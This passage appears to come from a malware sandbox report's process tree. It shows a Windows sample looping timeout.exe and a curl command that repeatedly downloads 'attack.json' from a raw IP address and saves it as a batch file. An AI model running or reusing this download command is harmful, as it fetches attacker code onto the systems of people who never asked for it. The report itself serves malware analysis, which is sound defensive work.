    Timeout /t 1 /nobreak
    3⤵
    PID:2700
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3416
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2740
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4844
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:640
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1512
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4992
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1340
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2464
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:644
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1324
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2024
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4064
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4280
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1360
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4412
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4916
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2032
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3492
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1196
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3812
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:940
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1192
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2128
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4284
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3304
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4528
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2444
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4348
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1964
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3352
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:932
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:696
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2248
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3324
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3612
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3148
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:184
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3444
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4580
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1060
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3504
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1252
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3024
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:692
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3776
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4296
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:684
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4024
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4020
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4996
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3744
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2436
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4152
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:700
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4240
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2132
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4852
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3116
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4440
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3968
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4712
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4112
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2796
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2288
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1212
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4368
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4592
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3244
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3944
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2200
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3476
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1500
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2496
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:448
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2040
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4720
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4928
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4756
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1420
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3272
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1908
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4164
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1616
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4784
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1424
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3976
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1068
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5060
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2740
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4844
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:640
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1512
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4992
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1340
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2464
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:644
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1324
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2024
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4064
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4280
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1360
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4412
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4916
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2032
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3492
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1196
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3812
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:940
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1192
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2128
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:632
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4284
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3304
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4528
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3092
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4968
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1136
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:544
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3352
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2352
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4604
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4560
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4032
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:232
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1356
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4820
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3548
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1248
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3728
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1388
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5016
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4624
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4128
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4092
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4804
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2520
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3632
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5052
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:724
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3688
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:400
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4772
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2180
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:812
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4520
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3684
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1724
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2416
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4792
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4712
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4960
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2796
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4752
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4368
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4728
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3924
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4736
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4456
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1976
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3596
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3960
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2496
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3564
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2040
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1980
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4928
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3676
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1420
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2560
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1908
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4224
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1616
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3736
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1164
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3964
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2700
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4896
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3440
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4140
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2604
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3344
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4432
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3232
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1828
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2652
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4724
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2348
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:960
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3752
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3948
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4344
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4572
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4964
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5076
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3392
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2008
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1884
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3708
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1184
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5108
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1384
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:516
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3704
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:744
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3020
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5068
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4356
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2968
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3488
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4144
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2120
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2892
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4380
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4948
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4596
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4544
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2932
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5044
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:460
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2072
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4516
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3444
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:484
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2608
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4492
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1632
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2228
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2880
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4540
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1648
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1576
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4296
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1956
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4024
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4824
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4996
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4936
- - C:\Windows\system32\curl.exe
